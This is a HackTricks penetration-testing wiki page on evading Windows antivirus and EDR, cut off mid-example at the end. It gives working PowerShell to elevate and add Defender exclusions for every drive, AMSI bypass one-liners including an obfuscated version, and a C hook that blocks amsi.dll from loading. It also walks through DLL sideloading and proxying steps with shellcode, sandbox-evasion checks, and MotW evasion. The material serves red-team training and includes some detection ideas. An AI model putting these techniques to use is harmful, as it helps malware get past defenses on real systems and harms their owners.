av-bypass.md (97677B)
1 --- 2 title: "Antivirus (AV) Bypass" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/av-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/av-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Antivirus (AV) Bypass 14 15 **This page was initially written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** 16 17 ## Stop Defender 18 19 - [defendnot](https://github.com/es3n1n/defendnot): A tool to stop Windows Defender from working. 20 - [no-defender](https://github.com/es3n1n/no-defender): A tool to stop Windows Defender from working faking another AV. 21 - [Disable Defender if you are admin](/hacktricks/windows-hardening/basic-powershell-for-pentesters/overview) 22 23 ### Installer-style UAC bait before tampering with Defender 24 25 Public loaders masquerading as game cheats frequently ship as unsigned Node.js/Nexe installers that first **ask the user for elevation** and only then neuter Defender. The flow is simple: 26 27 1. Probe for administrative context with `net session`. The command only succeeds when the caller holds admin rights, so a failure indicates the loader is running as a standard user. 28 2. Immediately relaunch itself with the `RunAs` verb to trigger the expected UAC consent prompt while preserving the original command line. 29 30 ```powershell 31 if (-not (net session 2>$null)) { 32 powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'" 33 exit 34 } 35 ``` 36 37 Victims already believe they are installing “cracked” software, so the prompt is usually accepted, giving the malware the rights it needs to change Defender’s policy.<sup>[[26]](#references)</sup> 38 39 ### Blanket `MpPreference` exclusions for every drive letter 40 41 Once elevated, GachiLoader-style chains maximize Defender blind spots instead of disabling the service outright. The loader first kills the GUI watchdog (`taskkill /F /IM SecHealthUI.exe`) and then pushes **extremely broad exclusions** so every user profile, system directory, and removable disk becomes unscannable: 42 43 ```powershell 44 $targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\') 45 Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root } 46 $targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ } 47 Add-MpPreference -ExclusionExtension '.sys' 48 ``` 49 50 Key observations: 51 52 - The loop walks every mounted filesystem (D:\, E:\, USB sticks, etc.) so **any future payload dropped anywhere on disk is ignored**. 53 - The `.sys` extension exclusion is forward-looking—attackers reserve the option to load unsigned drivers later without touching Defender again. 54 - All changes land under `HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions`, letting later stages confirm the exclusions persist or expand them without re-triggering UAC. 55 56 Because no Defender service is stopped, naïve health checks keep reporting “antivirus active” even though real-time inspection never touches those paths.<sup>[[26]](#references)</sup> 57 58 ## **AV Evasion Methodology** 59 60 Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis. 61 62 ### **Static detection** 63 64 Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection: 65 66 - **Encryption** 67 68 If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory. 69 70 - **Obfuscation** 71 72 Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate. 73 74 - **Custom tooling** 75 76 If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort. 77 78 > [!TIP] 79 > A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary. 80 81 I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion. 82 83 ### **Dynamic analysis** 84 85 Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes. 86 87 - **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented. 88 - **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox. 89 - **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit. 90 91 It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit. 92 93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28209%29.png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure> 94 95 Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes 96 97 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28248%29.png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure> 98 99 As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something: 100 101 For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS. 102 103 The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve. 104 105 > [!TIP] 106 > When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result. 107 108 ## EXEs vs DLLs 109 110 Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course). 111 112 As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate. 113 114 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281130%29.png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure> 115 116 Now we'll show some tricks you can use with DLL files to be much more stealthier. 117 118 ## DLL Sideloading & Proxying 119 120 **DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. 121 122 You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script: 123 124 ```bash 125 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { 126 $binarytoCheck = "C:\Program Files\" + $_ 127 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck 128 } 129 ``` 130 131 This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load. 132 133 I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily. 134 135 Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**. 136 137 **DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload. 138 139 I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/) 140 141 These are the steps I followed: 142 143 ```text 144 1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker) 145 2. Generate some shellcode (I used Havoc C2) 146 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 147 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) 148 ``` 149 150 The last command will give us 2 files: a DLL source code template, and the original renamed DLL. 151 152 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure> 153 154 ```text 155 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. 156 ``` 157 158 These are the results: 159 160 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure> 161 162 Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success. 163 164 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28193%29.png" alt=""><figcaption></figcaption></figure> 165 166 > [!TIP] 167 > I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth. 168 169 ### Abusing Forwarded Exports (ForwardSideLoading) 170 171 Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will: 172 173 - Load `TargetDll` if not already loaded 174 - Resolve `TargetFunc` from it 175 176 Key behaviors to understand: 177 - If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).<sup>[[15]](#references)</sup> 178 - If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution. 179 180 This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.<sup>[[13]](#references)</sup> 181 182 Example observed on Windows 11: 183 184 ```text 185 keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface 186 ``` 187 188 `NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order. 189 190 PoC (copy-paste): 191 1) Copy the signed system DLL to a writable folder 192 ```text 193 copy C:\Windows\System32\keyiso.dll C:\test\ 194 ``` 195 2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain. 196 ```c 197 // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c 198 #include <windows.h> 199 BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){ 200 if (reason == DLL_PROCESS_ATTACH){ 201 HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 202 if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);} 203 } 204 return TRUE; 205 } 206 ``` 207 3) Trigger the forward with a signed LOLBin: 208 ```text 209 rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface 210 ``` 211 212 Observed behavior: 213 - rundll32 (signed) loads the side-by-side `keyiso.dll` (signed) 214 - While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface` 215 - The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain` 216 - If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run 217 218 Hunting tips: 219 - Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`. 220 - You can enumerate forwarded exports with tooling such as: 221 ```text 222 dumpbin /exports C:\Windows\System32\keyiso.dll 223 # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface 224 ``` 225 - See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt<sup>[[14]](#references)</sup> 226 227 Detection/defense ideas: 228 - Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory 229 - Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths 230 - Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories 231 232 ## [**Freeze**](https://github.com/optiv/Freeze) 233 234 `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` 235 236 You can use Freeze to load and execute your shellcode in a stealthy manner. 237 238 ```text 239 Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 240 1. Generate some shellcode, in this case I used Havoc C2. 241 2. ./Freeze -I demon.bin -encrypt -O demon.exe 242 3. Profit, no alerts from defender 243 ``` 244 245 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure> 246 247 > [!TIP] 248 > Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques. 249 250 ## Direct/Indirect Syscalls & SSN Resolution (SysWhispers4) 251 252 EDRs often place **user-mode inline hooks** on `ntdll.dll` syscall stubs. To bypass those hooks, you can generate **direct** or **indirect** syscall stubs that load the correct **SSN** (System Service Number) and transition to kernel mode without executing the hooked export entrypoint.<sup>[[32]](#references)</sup> 253 254 **Invocation options:** 255 - **Direct (embedded)**: emit a `syscall`/`sysenter`/`SVC #0` instruction in the generated stub (no `ntdll` export hit). 256 - **Indirect**: jump into an existing `syscall` gadget inside `ntdll` so the kernel transition appears to originate from `ntdll` (useful for heuristic evasion); **randomized indirect** picks a gadget from a pool per call. 257 - **Egg-hunt**: avoid embedding the static `0F 05` opcode sequence on disk; resolve a syscall sequence at runtime. 258 259 **Hook-resistant SSN resolution strategies:** 260 - **FreshyCalls (VA sort)**: infer SSNs by sorting syscall stubs by virtual address instead of reading stub bytes. 261 - **SyscallsFromDisk**: map a clean `\KnownDlls\ntdll.dll`, read SSNs from its `.text`, then unmap (bypasses all in-memory hooks). 262 - **RecycledGate**: combine VA-sorted SSN inference with opcode validation when a stub is clean; fall back to VA inference if hooked. 263 - **HW Breakpoint**: set DR0 on the `syscall` instruction and use a VEH to capture the SSN from `EAX` at runtime, without parsing hooked bytes. 264 265 Example SysWhispers4 usage: 266 ```bash 267 # Indirect syscalls + hook-resistant resolution 268 python syswhispers.py --preset injection --method indirect --resolve recycled 269 270 # Resolve SSNs from a clean on-disk ntdll 271 python syswhispers.py --preset injection --method indirect --resolve from_disk --unhook-ntdll 272 273 # Hardware breakpoint SSN extraction 274 python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --resolve hw_breakpoint 275 ``` 276 277 ## AMSI (Anti-Malware Scan Interface) 278 279 AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility. 280 281 The AMSI feature is integrated into these components of Windows. 282 283 - User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) 284 - PowerShell (scripts, interactive use, and dynamic code evaluation) 285 - Windows Script Host (wscript.exe and cscript.exe) 286 - JavaScript and VBScript 287 - Office VBA macros 288 289 It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated. 290 291 Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender. 292 293 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281135%29.png" alt=""><figcaption></figcaption></figure> 294 295 Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe 296 297 We didn't drop any file to disk, but still got caught in-memory because of AMSI. 298 299 Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI. 300 301 There are a couple of ways to get around AMSI: 302 303 - **Obfuscation** 304 305 Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection. 306 307 However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged. 308 309 - **AMSI Bypass** 310 311 Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning. 312 313 **Forcing an Error** 314 315 Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage. 316 317 ```bash 318 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) 319 ``` 320 321 All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique. 322 323 Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). 324 325 ```bash 326 Try{#Ams1 bypass technic nº 2 327 $Xdatabase = 'Utils';$Homedrive = 'si' 328 $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' 329 $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join '' 330 $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300 331 $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e') 332 $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e') 333 $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase)) 334 $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") 335 $Spotfix.SetValue($null,$true) 336 }Catch{Throw $_} 337 ``` 338 339 Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected. 340 341 **Memory Patching** 342 343 This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result. 344 345 > [!TIP] 346 > Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. 347 348 There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them. 349 350 ### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook) 351 352 AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.<sup>[[23]](#references)</sup> 353 354 Implementation outline (x64 C/C++ pseudocode): 355 ```c 356 #include <windows.h> 357 #include <winternl.h> 358 359 typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE); 360 static pLdrLoadDll realLdrLoadDll; 361 362 NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){ 363 if (module && module->Buffer){ 364 UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll"); 365 if (RtlEqualUnicodeString(module, &amsi, TRUE)){ 366 // Pretend the DLL cannot be found → AMSI never initialises in this process 367 return STATUS_DLL_NOT_FOUND; // 0xC0000135 368 } 369 } 370 return realLdrLoadDll(path, flags, module, handle); 371 } 372 373 void InstallHook(){ 374 HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); 375 realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll"); 376 // Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll 377 // e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk 378 } 379 ``` 380 Notes 381 - Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI). 382 - Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long command‑line artefacts. 383 - Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`). 384 385 The tool **[https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail)** also generates script to bypass AMSI. 386 The tool **[https://amsibypass.com/](https://amsibypass.com/)** also generates script to bypass AMSI that avoid signature by randomized user-defined function, variables, characters expression and applies random character casing to PowerShell keywords to avoid signature. 387 388 **Remove the detected signature** 389 390 You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory. 391 392 **AV/EDR products that uses AMSI** 393 394 You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. 395 396 **Use Powershell version 2** 397 If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: 398 399 ```bash 400 powershell.exe -version 2 401 ``` 402 403 ## PS Logging 404 405 PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**. 406 407 To bypass PowerShell logging, you can use the following techniques: 408 409 - **Disable PowerShell Transcription and Module Logging**: You can use a tool such as [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) for this purpose. 410 - **Use Powershell version 2**: If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: `powershell.exe -version 2` 411 - **Use an unmanaged PowerShell session**: Use [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to host PowerShell without launching `powershell.exe` (the approach used by Cobalt Strike's `powerpick`). This evades controls tied specifically to the `powershell.exe` process, but it does not inherently disable AMSI, Script Block Logging, or every other PowerShell defense; coverage depends on the runtime and host implementation. 412 413 414 ## Obfuscation 415 416 > [!TIP] 417 > Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden. 418 419 ### Deobfuscating ConfuserEx-Protected .NET Binaries 420 421 When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.<sup>[[10]](#references)</sup> 422 423 1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly: 424 ```bash 425 # https://github.com/wwh1004/AntiTamperKiller 426 python AntiTamperKiller.py Confused.exe Confused.clean.exe 427 ``` 428 Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker. 429 430 2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot). 431 ```bash 432 de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe 433 ``` 434 Flags: 435 • `-p crx` – select the ConfuserEx 2 profile 436 • de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings. 437 438 3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**: 439 ```bash 440 ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe 441 ``` 442 After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …). 443 444 4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`. 445 446 The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation. 447 448 > 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples. 449 450 #### One-liner 451 ```bash 452 autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially 453 ``` 454 455 --- 456 457 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** 458 - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing. 459 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. 460 - [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder. 461 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys 462 - [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables. 463 - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow. 464 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim 465 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them 466 467 ## SmartScreen & MoTW 468 469 You may have seen this screen when downloading some executables from the internet and executing them. 470 471 Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. 472 473 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28664%29.png" alt=""><figcaption></figcaption></figure> 474 475 SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). 476 477 **MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. 478 479 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28237%29.png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure> 480 481 > [!TIP] 482 > It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. 483 484 A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. 485 486 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28640%29.png" alt=""><figcaption></figcaption></figure> 487 488 [**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. 489 490 Example usage: 491 492 ```bash 493 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso 494 495 + 